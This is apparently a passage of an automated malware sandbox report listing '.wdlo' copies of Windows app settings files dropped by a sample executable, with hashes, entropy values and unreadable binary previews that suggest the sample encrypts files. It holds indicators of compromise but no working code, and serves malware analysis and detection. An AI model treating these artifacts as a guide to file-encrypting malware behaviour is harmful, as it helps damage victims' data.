Preview:	regf..........wd...u.j..KJt+.....9....)........?y`.>....,/..3..O..#.8.!.^..K..;..T...<N.ZLT(..6.......!..@..6.)......<?.#..4K..,.f.=.....,:T..0v...Z...D.(.....G.H.jk....`...xw............?.8^B+....U.......,...\|{.1..7>Y.."...y^.G8..}.....=n.....r:,.....;.Y."..mM..^.=/.H..J.^\......%.w."6L..Y.:Q.X..4?....=..+.U .u..#.?..%.y.WZ.\2LI:w.}..y.:uZ..eMm........y..q.0....\|.N...pB.z.."....b.9..GJ].A....E..g.. ..X?.5.e..WD....?z.......LS.EHJ......l.......K/..K....1O!....q...g)..S.M.2.....mXmA....#.....".I<.\|f..h;.X5pJ..^b@`.....5..M.q..%.W.o..]....0J.x.=.DT..QgmY.#...0_w.?l....".A...tV.qY.,<.1p.b..{pM..PA.6!.w........#.G......[.p..4E..o...p.-.................C!_....R%..kD$V.`oJ^&1u.D..s....`.B. }..;...@...L.+..JU.0.%/\.o".?.5.."..C}.&..v...1...._...#.n7.o.p.!....i...i.W.T...C.68...........::.6.5....xTa....p..n.F^/.....4.......o"4.^o1..Q......]0Q`..........A./.O.U.:.!x. ...f..x\|...k.......].s]..\#@....WsYK..T.<.@Tq.3lA.\...q.........7_...v...\|..\|i..

C:\Users\user\Local Settings\Packages\Microsoft.XboxGameCallableUI_cw5n1h2txyewy\Settings\settings.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978436986921182
Encrypted:	false
SSDEEP:	192:YqAL2/GuIQNUKKAqO1POH3DwHvWGXU1aGhAqOm2tY:YqnJIQqDAZPi6vTWaGapm2+
MD5:	BC3189D5ADFF20B5610B27B487A045F9
SHA1:	BFD85CC1376843116341A2782FB860CEE5AFC9D4
SHA-256:	DA316B8222E7D1B42328CD56A63D6AEE612D141912EC1931CF3292BC8A9720AC
SHA-512:	CAAAC10428248E257FE30AFFC11AF382DF152A4741A33A2F0CF01683567857223F4667E98C6587940608442B1232853C08808796AE1F97EA8633FD60ADE12C32
Malicious:	false
Preview:	regf.IL%.[]...D...x..>..s..h.lJ\.h.]iMJ1.Vg...,....^:K.....q...G.QO.P.M...;...d..R3.-....@..U5....HU.....WS...^..,`B{....dY...-..J.m....9\.....z(..L.?[qW;'.VH....y.....r3igg$.r?=3...h.....B.".-..........}.y...[7m.m...I[..gNF...9....{..m.W-P......'J..F......{`f..F.`.Y30.B..R..........Ax...?2 $7.^>.........$#..2....3X..Ou....];.....Y4e..".}w...6.S_..x7....S.9...>..............DK.....ZX..zL...'.(.oB..{.....90o..v.....}h.[..F...M.D..I..v4.E,[A.".R...X. [....G.&o..5.v...jy.......]..:....v..OS..7..93.e_..A.8<....D.,.z....En.. Wj.7.Hf....g.y.......... ..Qp...h.?..J.g......GH..w..ze...A;...........a.\|..N...W.S0vm1.q..f...........&.RTM.,y.%"..+.....'HbU!5...D........N6^t..G.....z.[qh..:.;.+(...S..sPM..hJ..m..YcG"..P.......-&...!.p..[...^..c8?..".G.v.r.=.^.W..:........a.....\..U.(^u..b*.....~...89q.Ya.1..d.....L..'....A:..A=.B..E.P#..dB...".....{..Wd..0....`.,d.s......Kg............9..<..t.[}WL... ..V.@8..z...I.]/2.\......C.R.....-iP

C:\Users\user\Local Settings\Packages\Microsoft.XboxGameOverlay_8wekyb3d8bbwe\Settings\settings.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9785490138880135
Encrypted:	false
SSDEEP:	192:6zuBJyrsDpvaPXjuYQvgSbzzELX1V3MRCXbpl5tU+B9F0:DXyupvaPXCYQvLzmVCebplPD+
MD5:	14CE21B5E450FCD0D478A9E60B3E59F6
SHA1:	F6A0A779D4D6B6DB8847C4DE37D00F4A1D7EE0BE
SHA-256:	54D0C90B3B74A0644D1121D6D83C0B829AD7BF09B1078952FBD3277E1B5E79BC
SHA-512:	1E495686F35F8AD5036D2B056B57C039CA2323FBAE29E341370D11A314A10152BA709824D40DE882C835DD549AF0FF89413A3F22FB2949706D58329C0F81F15C
Malicious:	false
Preview:	regf.s.h.......G...r:B...V)^.g.~....H...P...V.95.,.........*...p..4..L./..K...M~~;.}.%.A.\........)\|!.dr@.}.bES.4.jZ..R..O..3..M...V.6..3..;S.]..@.n..+..t..!Oz...H"M.G.5a..Y....S..m..w.k.Y.kw...L..ks.]....l....l..... ...$..6.N......8V>&..B...^.hy .....M.GJ.....u....O..?..Qt .E.....Z/[!..>.O.P.g.?v..K..:.He..6....3sN.; .h...7....>P....:....-xn._.....B;.........0.T..b..-...4........Z.+&.8..M.oU.h.A.n.......g.fLEy....:f._.S.$2.A.n.e.p.>j...%J.....h..A..J/.v..._......./.,..ai.j[i!..&.{......\....6.&id........=..0.Gg..O....5......k....S...Y.K.'MT.w.._< ..;.z."..B.-Z.............:..7.F#m D@zy..>..13B......z....U....;~-+s.3S.[PNq.G.h...,.Y.x,.HS..8sVO;Q...........AI..u.P....r..E}.p~.H..g.....`.[...t[~JF\.j....7.E.......r.Y..........h....7....+.....D....X.o'E....z.h...A..(...9..\......i....k6............@.....-..<=.<.....p%.$..[>..Q.A..n.>.>..7.....B..CavE.z..^..F.r..U......S.P..%..z6...Oo2xl..\b....g...AdX...>.a..B...H8%'.5O......I..0.N..z.vi.

C:\Users\user\Local Settings\Packages\Microsoft.XboxIdentityProvider_8wekyb3d8bbwe\Settings\settings.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9808079383071195
Encrypted:	false
SSDEEP:	192:HJ9njBUMQ6X5PUECf7aPKEsR/vM3HaVjwjEtjQcLVCKRbO1:VPUEVKEsRneetjQiA
MD5:	55116CEC0D888D30172CCD236A04D71C
SHA1:	6992F7440477FD222B9B87EAAF17FD33F0C8E727
SHA-256:	EC0C552937872FA1636DB80B51FF28EEDBD1B7B2DD5E4FE6BDF44E041D9515AB
SHA-512:	86A0070C74E329EE0D483743BA0DE7B5576D66D77DC9A435A4F61CB8828763E1862D0AE7CA8698A79DD29B4EF70A7B02C335EED9142D31977BC81106B3DC6D7D
Malicious:	false
Preview:	regf.}.c...N.5...........\.P...j...%w.j.Ae.....,..9....}...M..~\_S}....9..4....Z..'9.p...[&r3....M7YW.c.\|.I.g.f.x......@Fr...^YWY.q.z@i.LJ.o..>e.C....!.d..~.._b...>S.,...'..7...ms.@......rdkr..S...Zl\.t.....Kd.].r.E;0.!.{Y9........1.K....W.M.%}..T.;.1G%V.T..1.B..p.{8.. /.P..i......$..p..?.c...}...x..6..^/(fo.Cc._....~^.n..k....x......q.L"n."Q J..oFU...Y...2..ho..(..?..7b.)H...........h.R..&h....[.$...<..Vd3.6.\|N..t..t@..H...j..q.....,.B....2#m'...`..~..7....7.G..L.Kw..m..W(.2......\|....mv"...Q....=.....q...@.=...z.B^$.CEA..x`......gT....D}.`...c ...M...+.`/......0{?..........Q.T.........s......D>.dOX.5g...mL........[9<.D.G\.....1.d.S..=..].~...."h.a[.xZ..1.b...1...s.......x..)..HR...Rz...s.(......m..f...zsLI.(W).q.BM.. T..q".O.L...E....@\.f.2..oM.IL4.l{U...I..q.....,D..'L.dPA..o.X.....U...\.2.9AD1.S.`....`Q7..x?PT..94E..5P.0..+...[.$P.GG....!q..{..sRj.@..(`.j.9eL\|....e...O...v......wp.s..N.!Z<..:...\.........(M..P.Y..!..c..u.$

C:\Users\user\Local Settings\Packages\Microsoft.XboxSpeechToTextOverlay_8wekyb3d8bbwe\Settings\settings.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978914949601051
Encrypted:	false
SSDEEP:	192:Un2i+en/itm+b171sThGY7EWQBd+kEOfmO/kkFzSKpQfL:Uzbn/iIM178GaQjNJfmctFzCfL
MD5:	C1DC0EA6F4ACB3B7AC3EC9B4FA969C20
SHA1:	2D42D6E797BD011A9026B43ED04529FBFD0C005A
SHA-256:	FAD402FDF342506769A65473D0BE6B962FDEC8844CB8B425E84DCFFB602591B5
SHA-512:	123027DD696B2E45C979F215F0409BD11F5E553FECC6A89E5423B095D69571243CC51BD51201BD24778BF25B6C578F607A90D3AFA3BB40E4F2CB3FD115A175EB
Malicious:	false
Preview:	regf..XwL0>..3t.2.R..h..o..........M..W..,yD~.5.....z.....J.....U.....wo$.4..\|....j...t.0.9..b......o...,.G.......`..{...-...KhF']..'.<.\M..v._.,.=......<L...k.jl.p.!....j..?.....D..].......Ga....N.....{..9.......d..4...."w..../..Nt.I.......L.En._p..(.R.lQ..$.8I!.,<J.<hR._..........>..%s5..KJ.P.T.j%.?.V.\)y..z!........A.!..Gc2...r.....H^.TvRJ&.E...........?..6..JS}z.3.7 rm>/..?h.=...l.1..Be.^...p1H...u3.+..I.U4Q=..d,.z.........j...r.C...{b..8.Vp&a.]....s..\|R..%.jAY>..,".#uZ..7B.&".......>'dPw.1..`.N....`...4O,....\|x....J29...........@...=..,`H.x;.t....J.`Ub.W...g.\..S.ap.....c".Q?.....n3x.....j..S8..(.2..(....4.E.i.....GL..r...:.L.....$.<..x/m...(....j.n.....@"C..Y..(W.2r...X.......k'.+....~T.R......._?...J..d...5.[.\|z..J8".....T}..;..m.\.o...*B ,m..AG...g.(..L.&.bA.g{....$..._....(zw.Qq2z=.....`0.....)....l6q...."..5p-..w.V........s..T.Y..IUE~.....6.7.K].\57YC.A.....$.`..%...C62Md.M$p?.!.m..F..m..}'.V..E.a.RUd..\R...n..~

C:\Users\user\Local Settings\Packages\Microsoft.YourPhone_8wekyb3d8bbwe\Settings\settings.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978959698344941
Encrypted:	false
SSDEEP:	192:jakDcFrZCMqcyHmQtp2CyZcFv5MrlM5cltW3QoBoDLKErVYDb4X:jakcFr83GQtp5yWd75g+xqLKCqP4X
MD5:	868C0A26BCFB701E0A75E2CF2861D472
SHA1:	3527C2FFBB8507C77315673AFEBF245D5AD5C512
SHA-256:	003FE7261F1907C383EB5D80E8F8A1B9BC3152273F6A70EE25BB09FD6EB5D2EC
SHA-512:	25D8203F3F58063524AEA54BA4383E07D8F96903991CC14080B8AC7FD8046CDFB3D594A36BE3FD911E13732636CC3CE495E2C81690D561A2C4B1B96893F63F79
Malicious:	false
Preview:	regf.j.Y............jIV..L....%.5cd.t.KV{.=.........t...N...m.\|.kPbz..7....nKJ....l.AQ...W...n..H....z8s.G..R..G...N..\|y..x..Y;qJeW3CC.0..A..x....'=8...;@........d......=.uqc...`.O...J...q.%.#@. ....h.~.../..........f...:..j..O}..6.F..kz............Cs....7P-...E....\...{)E...+:...z.n.....'.]_..P.2...i....I....0'Q.....El..KE.....R.j...6.C...'...}0!..).....V95....X.x.;....0.g...Q<....[.C....2...^.^.u36..3.t.3{9.).s"......1^z....x..1......W..E . ..$S...w5.>.n.=.0f.....i.s.....e.....)..F...lc&.a......mW36.....X)....r%z/....}....U.nZp...5......C.rk.+E..t6.l#qS0_..dx.S^...J.9:..Cy76:3....<.E....P.A,.H,...m..X.d.w8d..O.........7.{..W\P.....:<..G...n..s..8?)..u.F8.[...E.&Ol.....U...[...kC.0.......J.!..gK........d<H.y......xL&.....M7.....}..M...{Zv.'X...M.V.....g_5......7.....V...!.....2hN....H..Au..........%.M..y...I.C........^..^ .\|..I....J@....M.......#U.D$E......z........W.r.z+.\k.-'..4Q.5.0.~T..d..G.r.wY+":..@.h..=.r.

C:\Users\user\Local Settings\Packages\Microsoft.ZuneMusic_8wekyb3d8bbwe\Settings\settings.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.980621940803196
Encrypted:	false
SSDEEP:	192:aDHG1JRBH8SxVRPGyRakFJWnzhdsSKpubqDroUC:aDG1Jb8IROyZHW9FKpuuIUC
MD5:	220E255EFEEEBE45DE64250EAA7AE90F
SHA1:	D0B180A0F1FB8F2345F796F69D196E140D9859F5
SHA-256:	CC313382721BA0431B6CA7B46EDD72123FF0B27F2F6F0E002FE4950C125970D7
SHA-512:	BA0E6E319620661533189DE517DB823E8AADA9F144F1BD9A1B76BDA9D8C265BBE9478D258452525E22EAFB0CF539868C07B397382CC3823EF9DE0A051C3B38DC
Malicious:	false
Preview:	regf.....n..p.O.\|.....;...!952.O........I..5..piJ..Q...p.u+..;....\|.<.h.n......O.S...:.....>.b#. ..W./...G%.<..W....8X......h..}.'.l.........S..........r[..7>.....{CHm...u .mK:......4n...B..P..^....A'.].V..Y......\|.....r.......0!.e.#...X}.....e.F_5.:......H..\%...+V.'......r.........0.v....4l..:.A.D.^Q#......h..s_...N.\....W..VC..HU.^/.....h].l.B.B.'..6.L"!/....U@..$..z.AK.....VL.@eP..OeT.on$.<.Q.W\..@.8.../..../,oW..%..i..oC.bI......C..o.xA.Pa........h.w..*.%`q.N...=.t....._.T..f<p.....@m.c.w.O.:...G..hGH.l.[..LMr.l.......f...h./$..f....X2....&S...5S......DM.{..J~.^.......z.&.....\|..R>w......J..EF..\|).0.f.#.......%. q..[...o#.=..j..\._..D.Q....U.b....V.....qHc6.@D={J<...n."uR...-wf......w..&.8....$...u.EI.eR;.h+Z...j....@.."..r.yq(..#..m.a....m{x.9.9c......9O...,.+q.qe,<.G.0t.....r1. ..5..I..Z_..V.L.APoX..!.s..t...~.5]....g\..h..f..d].iM..D...J29..X.. .N.e.a.h....G....\=.8....?.4mL..u..'p1..}..3..x.....'P.R......3>..l[.:......J

C:\Users\user\Local Settings\Packages\Microsoft.ZuneVideo_8wekyb3d8bbwe\Settings\settings.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.980892436241722
Encrypted:	false
SSDEEP:	192:eqI4ZrN7EJsr7xoH40IzXPLJjLT+x77/frHhTZAw:eqIErJMsvxoH47XP1LT+x77Xrhyw
MD5:	9A8FEBC3F5399E54E939EA6D610C5738
SHA1:	B2D7DC71EB9D3290420E303B907B716A893F91BD
SHA-256:	911BB2F3585F153E99240B8F9AE73A76BC34A0338C5E32646C1EE500639DA8BD
SHA-512:	3AC9033A8766970B2B81CF1160AA20C72F6D08B5E1B2C3B9CA01BA3D73093C14745F04F46EE25F4749F08445475E19AF8A886E1D047393E82970ED47528E55C4
Malicious:	false
Preview:	regf..W.fM.!.......%..CA...T.../..s...XoHC ..Cn..0._.d..B..?]~..t.IQD...{........X.....o............\dJ...T..&KdA.h...`3&.+.`...iz.Ub.H4p.d6..Y...m,...(,..l.2q..Ds.;..b...Nus.`U..)......5.9.)4W.3=w...,.Fr..........4....ZCl...{..s.=...^5{.-Gq_.....9..a...B;......cl.~.........A..../...O4..qS...H..K.......B.!>i8.E......J..?dA^N?. ..........2.,.OR..d.vr.Z..).....h...:.3....R..`..al.L.k...>?...sn........Vl....<.....~.>._..i....`nx..7.M...z.......E..&..4...vr..I..P.n3....u...........X.N.M.`,.a..:..`..@..z%.c.....(^....m..<....8...~..8..4......2.o.q..{=..U.6.._..M...M~.....?V..`w..\...>.z.....y.OM0...&.&..w.U.F.`.._...o.@...kv3......JZ.....+T..^Hh..!./....o....u..._<G+........1.KAh....@J.d.X.&..F.o.....+...~...p...QR5.X.{.j.....Q.0L.-5x.X.\|.?..}...~.`......}....94.e.j..3.?".&f.^.....:...........U.M.s.....S.....<..~...I..5...L.Nc1\|X..`..h.....=....e.(.9..h....^..<..oVk....2_.....'\|..."..IDf......`.....b.].3;<~.JXQ.> 5.....)..h5`4..

C:\Users\user\Local Settings\Packages\MicrosoftWindows.UndockedDevKit_cw5n1h2txyewy\Settings\settings.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9801535559704
Encrypted:	false
SSDEEP:	192:pNufUnkG1sUojPwqoIdvKYLfehjIm6gDpLmG+WZEhe34:pNXkn3voIdxeBJNLf4
MD5:	7C9046242C21FB004751F53B1129DF84
SHA1:	276EF08EFE8D29B762365C8B615B376F3E2E1EA8
SHA-256:	5258C4DD42F73599B77ADE69BA02C22A21583F6F3E158F04A198D9D68021D78A
SHA-512:	9757615EAEE375D2149AD551413EA5867B90B1693CDFC5DDB4C697F05312E85CF50B2BB6EC2B8C983540733D35FC73210BD447A36DE73ACBA315CAEEE2971305
Malicious:	false
Preview:	regf.$g..O....b]7oQf..RZ@Du}...S`.k..\|...........W)Exd9../.S.\.._c.......5.....x?...T=...9..04..j.w...{..7.N.4._I..Y.{..j...6.!....r.O?..PB.)...c.....).D.l[0.n....(.\i.4c.vy.Z".T'@.....&..=...$..R+.S.u.m..p'R.c....i..B.G..G.t......4..M....rPY.u.O3x..~lx.gf{!.S,....vo+.^.,.W.....ib.=.D......C.i.....x...,..Dn.m..y....L".q..b..2...;....G......B..K........7)..d....{...{.i.......#...g.O.=\|......zw..=~.N./......mqS!bVg..aG.W.Gg....pg.e..A......q7B..eN..h.1i..._......q~...P[[..$S..2.f.L...gv.+.............o.......oXD.&s..P...T...._.._k.....Bv.6.k......E`.rhC2v.M.l.k.0.d..C...9.n{.F.._...-r..[.x.E.9$!...Z.[..+G...........7.z.\k..B.x._/3_.......ul1..g.Y..J....h...Q....d..9..KDZw"..(..-_.".m.6.8...T.....3.%.@.h(k...B..{...Y.`x...;;Y.mE..i.DD..F.<...b.Ml3.>..6'X.n.\A@....=:..,.@.^...."..i...,a..el}....6.9..;.k.Y.o.Y.:_.LP(B.y.'Y~..h.........J4..s6......cRd.8R..-T..\|...W........3...J0..7.."0..GV..O..V..E....^.9e\..(i.".=J.L<W>K2.{..`1`I..L.. .[/.....

C:\Users\user\Local Settings\Packages\NcsiUwpApp_8wekyb3d8bbwe\Settings\settings.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976861609762314
Encrypted:	false
SSDEEP:	192:JoVMIj6SS0Af3Vc1ObUEFDwvtxwn5Rw0Hu5xpHD/B:qOIPLAvVc1OwWDwvtxwnZORDp
MD5:	2EF23EABD8063E0B754B0322E407BD09
SHA1:	5313136A27498B1510EF126707C6F74ED02A972F
SHA-256:	316370CCA83A61CCFBDABC4C56017528298F9FEE0363BCE94408925FB034375F
SHA-512:	AFD47435710823DB7FEC4DCA2D49B3BAB49EAD18AEDF95855C2452D75B88AF4819C8B96ECF2E0DC19F2D23D59B8C8E658380F3C8843FF90F27C629F205CA0841
Malicious:	false
Preview:	regf..I..T....u"....,.$...[(...(.....R...`~....T..y....,....!..J}V....-....`...}.M:...(,..I.....@h...d7.Z...d..e..Hg..8.k?..D.....VW.<.K..M.'.\|.. .vL.....7u......n..(%8...yJ.B},..}D&\.! edgAw.....+..$ww...c..n...R=..#....}...s-...1.t$)..~..\o..O.x..O..OM"..ghdRH..D..5..8.Y(....\|.H....../..\|.3.....j.G6.^#,-.....u....f..r.!2,.%..X$f..\M8$..rR..f..b..$.&....D....(...:........g...A...V...Oc.-6M.....Ak...D.`s.B.\|....GD.-KW..pq8\|..U......X...c\|.M."..:._..$9.7`X..M..=.w...1B...SMz....9.=xf.. ....:p.7.......MB.4....S.V.TW../.za..~..v....0 ..V...; Z...4.,B.j...... ".N..n.. ..X..N.+T\|q..#.-.V...n...p....4c.aj..........RP.........V:.......4.....l...\|65..#.....q...W..y..O%..z...L..9uz...A......u............?0....0.L.O.s..@....H..3......`]g.aZO..l.?X.i"0..z.e..SFS.Z5.5....A..p..9\|E...L......6.....<.......^.e.......k.J.....,.HSb.J<.H.......mz<j..(v/.m.a]WI....e.m.F+?%....w.=q~O. aW..w....nt....{..X..G.-...T.-.D...Ny...k..j...<.........:...

C:\Users\user\Local Settings\Packages\Windows.CBSPreview_cw5n1h2txyewy\Settings\settings.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.981798094549829
Encrypted:	false
SSDEEP:	192:5w+M6l0BsY7icYVffjIgXgBOG3q+hClvH0yObNiro2fAM:5yUcsYGzVHjXXGDCjObMbL
MD5:	7FAB9F6A66E2425ADDECD8A9786EB9F8
SHA1:	DD7B8572B0D8439D0816BA0F00B513F5911D10AE
SHA-256:	C24CA5401677740ED1848779C41A057A36AF22B7F287743B64F208D16A86A3E1
SHA-512:	CB63897D76C782099F0D0A25C4357168380F4CC4A98779E402DB769FAD0EACEE7C3F0DD281D5B5CF85D6C4DF6F8C2DE5724367771CAF140CF346F43EDD8A95E7
Malicious:	false
Preview:	regf...;@X.J.h.....3.N...}...7{...g......f<.s...MB&.T...js.S......+.........d2..........??..S.C..t.8...q.4........L.....A..........2!./..]..?X..q...R...d....?..-.Z'&..L...... \"7.......... ...(..J.......;......?[a.$.....^h........u......d.N.k.X.1....yuMb._R..)/.q......<F$....C)N..gtP=..p.F........OM.v%..A_ck..z......~...x...f..&.U...me.....C...E._.....K...7...s.;...Z.tN.=T.LH...'-Q..\|.u...9.'.....u.z.y..75.S..Hv..Gl.......P.~..<f.QZQ.fng?V..d..s.'}`zY..1../.+..7....9..[v2.e.Pi.G.S..A....5~.lj.sB..2..!...i.y.....E.....E......e...}.=..~..G>.m..r.L;i...0...].?G..%...k.._...j.m.i.T..t.S..T......R...}d`?>.....Za..j....5...'....Q...R6f...x..d.hF@..~n...z.Fxj..c...%R6.6.\-.@..7v.0..q...9_f..R..L..S.u?.{.>.{.w..r..sMB..-g49.....y..o....i.P.:.Oy.7.._.D0U..p....S.x.a.E.Y..s...Xv;h.../7.\|....G?....5>.ZR..U....g.....)..a...w....a....m.t......7#..l.......H....s....=.9.J.K[..ca.3S'R:.a.I....14.......Y.Gz..7:4..<4........H6.....pn....Z2..&G...&(...

C:\Users\user\Local Settings\Packages\Windows.PrintDialog_cw5n1h2txyewy\Settings\settings.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.981796136001957
Encrypted:	false
SSDEEP:	192:7zxXJVBdLDYF5a1VbUJkQiGJzkJsI8zyb/5YIUdBEu:7zxXJVBdL71VbWkazkJsI0ybBIr
MD5:	B2CA4A2523B25121BCA24BAA9D6183AA
SHA1:	33D4707DA360DF276605875FD635F6BEF88B24E1
SHA-256:	1E8F761F759B851171D8DAB7716BBA30B105207BD7430B35AC727BB65C6AE0FC
SHA-512:	795BBBC6D3B189321AA7F98778AF76154DD395DFC5E6AAF3514FF7239200A69EF371B84BBEC424D5B31B607047C1BC1B22886C36B1E5EEE668B69008DF473E82
Malicious:	false
Preview:	regf....E........r......-~."...I.r..l.q..Y6..Ty..F.l..'n....RO.V.m7..[p..:.w.......[..#e...'.a.Q.,..).>..o.E..?=%.JlJ.Z.x .G.5Q.....D.H.( .$.....$....d...x.5..[.......+.$BHO.%mj\..u..(g3....#J3..5i...#...&:..t..S....L.n.M..R./y.....Z........N.-..2......N/0.l.....q..e..v_...8....o..(.0..E.?}@...47{Y.@...+f...m.y.o..rv....A..W.>\.9..a8]..9....~n.1:.y.........K.T.G:.U.?^0..E.H..<...1x...L...~.jTU..;<`.M.h..}....?b..~.h..y?..x.I.7..[u.e...o....}?Um..Sy.@.5.V.....q5j......8...7^..I.W....<..LHS.3....+..BU..d....s8....\|e...dz..{....\|.z...P.F..YS2(7...A......=../I..-.m2.. ...`...q..........6O.g.D...T...D.'f.,..vs..q..HR.0.Ia...._!.....)-[\|\.Z!..#%p0=k....]....7....\...i.....n.=...,.H..r%r..6.x..n...!.#W...8...F...C8.1zbe.....a.H...K.......hSf..#p}U .X):U...73H.<).Vu.&n!.(E..x.......P.}...c.*.......2}..xG~.....q~............U..<G.#A..[...7......2.S......x....A.?c.e..V..v.F....9....#b.....>..8.l...J.....3M..=.g.M,...=w./.....O. ..W..Ta.[J

C:\Users\user\Local Settings\Packages\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\Settings\settings.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.974098074102088
Encrypted:	false
SSDEEP:	192:OshXe494XF5vIyqvaJGluXCqqqzXTbkkj7dqi5YL:7lUDvIBiIy5BDTbkkjZq3
MD5:	BC4D1625C1972D3D4A1A73DB1050E6C7
SHA1:	812FB716CA160CD71C1F8B1C6AF86EC4ECDC3A0D
SHA-256:	1D0F1852E1E49805671D191F7FD6CC26CEF3CFE4ACA4A6440BC85F6E1D64D40B
SHA-512:	2989EEE111056F3359FBBE265B47CC3D68AD770D7060F092A8C01B13F628789442932AAB88996BE44D1AA3015E383F7E716802AFEBE03663BBC8D5F8642A5769
Malicious:	false
Preview:	regf..n..0C..yU...wn..P{..b.u..E..~m.9.\v...@pm...T. ].~...m..p.Q..v.._6% .d...>PA3...N....Le....i..)-=..BW.I..e..!.qE....oz...g.y@...."...........T...W$5.[..Z@.'.V...pOX.8 .O.....j.[..+c....}...R(.&(]......c..`..ai...y.\|..d..\...X+.uI.61.. y.Y..J[.<E...,.J7..Yp....;<i.B.+.q....&......yo.[.{I.=r...I..'....9.]..pLLO.}.m_. .`..$.c.......I..9..Y..U..2..c..$..j....#.2.L(.. .Y..RX\|..c6..F...y...E.&=4(`g...b.p..0}6a-..3..<..cA9.K.....'4...Q.....[..[..}..^...,..}.#s6.....a8.....b......'.[.....[b...Z0..d...{> ....<i.X.....Z...m.........l\|..BI...%B......h.>.B7.<M_.^....:dhgT.....~t._.}...I...>.K...<+....^.<..z]...}.r.I...Bv.F..sa.m..f........9.}...87.....Yq...:J...@J.m...-..L....L^.XY.`..J.^k..Yc....:....$_L.$I...7T.k...........Q.K.....o...oZ/.(-.Q\..h.!..E.h.f.%...L...!Si.X0..k...U....}.w[...Qx.B.g..p....$...P.g7m[.A.b.....3...@..}.X.8....v].:/xu(....B..t...aOs.E;.C*..{i=p....@............\|...(....z../.\Z.\1}..U1.xf........b..J.q

C:\Users\user\Local Settings\Packages\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\LocalState\HxCommAlwaysOnLog.etl.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	65870
Entropy (8bit):	7.997184964604334
Encrypted:	true
SSDEEP:	1536:WTTwqrlnTQ9LJr3KhptaI9au2f1KFLCkFMnNas0rkuRy:ewSNQ9L+au2fQ2dmkuRy
MD5:	0859B91DBA6E7327F701933A20765CA2
SHA1:	896374B7C5089172D4AC2B6B985221C8C960049E
SHA-256:	7F1B46897ECA96DB9E759ACCCB6DD9EFBD36A4CD819920BED7D310C621FECC03
SHA-512:	E3A952399987DCAEB4EC8A2C4A16EDACF4434B4017E127C9E4F56B792CA0544E4E6FCED737DC1AD1B065A55F8C5B78FC761104FFD1C851B67514B863E0F99B0C
Malicious:	true
